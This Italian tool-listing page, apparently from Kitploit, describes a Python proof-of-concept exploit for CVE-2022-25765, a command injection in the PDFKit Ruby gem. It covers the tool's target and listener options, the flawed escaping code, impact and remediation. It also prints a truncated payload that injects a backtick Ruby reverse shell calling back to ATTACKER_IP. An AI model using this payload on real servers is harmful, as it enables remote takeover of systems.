Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!
CVE-2022-25765 — Exploit PoC Python per CVE-2022-25765, una injection di comandi critica in PDFKit. Genera una reverse shell tramite parametri URL non sanificati passati a wkhtmltopdf. Include istruzioni per l'uso e analisi tecnica della vulnerabilità. | Kitploit
Exploit PoC Python per CVE-2022-25765, una injection di comandi critica in PDFKit. Genera una reverse shell tramite parametri URL non sanificati passati a wkhtmltopdf. Include istruzioni per l'uso e analisi tecnica della vulnerabilità.
-t, --target: URL di destinazione che esegue PDFKit vulnerabile
-l, --lhost: Il tuo indirizzo IP per la connessione reverse shell
-p, --lport: La tua porta per la connessione reverse shell (deve corrispondere al tuo listener netcat)
Informazioni sulla vulnerabilità
ID CVE: CVE-2022-25765
Punteggio CVSS v3.1: 9.8 (Critico)
Punteggio EPSS: 71.381% (99° percentile)
CWE: CWE-77 - Neutralizzazione impropria di elementi speciali usati in un comando
Versioni interessate
Vulnerabile: PDFKit 0.0.0 - 0.8.6
Corretta: PDFKit 0.8.7.2+
Descrizione
PDFKit è una gemma Ruby che converte HTML in PDF utilizzando lo strumento a riga di comando wkhtmltopdf. La vulnerabilità risiede nel modo in cui PDFKit gestisce i parametri URL prima di passarli ai comandi di shell di sistema per la generazione di PDF.
Dettagli tecnici
La vulnerabilità risiede in lib/pdfkit/source.rb dove la sanificazione degli URL è implementata in modo improprio:
root@kitploit:~
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Il problema:
PDFKit utilizza una logica imperfetta per determinare se un URL necessita di escaping
I metacaratteri di shell (backtick, punto e virgola, pipe, ecc.) possono aggirare questo controllo
Gli URL non sanificati vengono passati direttamente ai comandi di shell che invocano wkhtmltopdf
Gli attaccanti possono iniettare comandi arbitrari che vengono eseguiti sul server
Vettore di attacco:
Complessità: Bassa
Privilegi richiesti: Nessuno
Interazione dell'utente: Nessuna
Accesso alla rete: Richiesto
Come funziona questo exploit
Questo PoC sfrutta la vulnerabilità:
Iniettando un URL malevolo contenente una sostituzione di comando con backtick
Il payload: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
PDFKit non riesce a sanificare i backtick nel parametro URL
Quando wkhtmltopdf elabora l'URL, la shell esegue la reverse shell Ruby
Il sistema target si riconnette al listener dell'attaccante
Impatto
Riservatezza: Alta - Accesso completo al sistema
Integrità: Alta - Capacità di modificare qualsiasi file
Disponibilità: Alta - Potenziale interruzione del sistema
Prerequisiti per uno sfruttamento riuscito
Sul sistema target:
Versione di PDFKit vulnerabile (< 0.8.7.2)
Ruby installato (richiesto per il payload della reverse shell)
L'applicazione accetta URL controllati dall'utente passati a PDFKit
Nessun filtro di uscita che blocchi le connessioni in uscita
Rimedio
Aggiornare PDFKit alla versione 0.8.7.2 o successiva
Validazione degli input: Implementare una stretta allowlist per gli input URL
Sandboxing: Eseguire i processi PDFKit in container isolati con privilegi minimi
Segmentazione della rete: Limitare le connessioni in uscita dai servizi di generazione PDF
Regole WAF: Distribuire regole per rilevare metacaratteri di shell nei parametri URL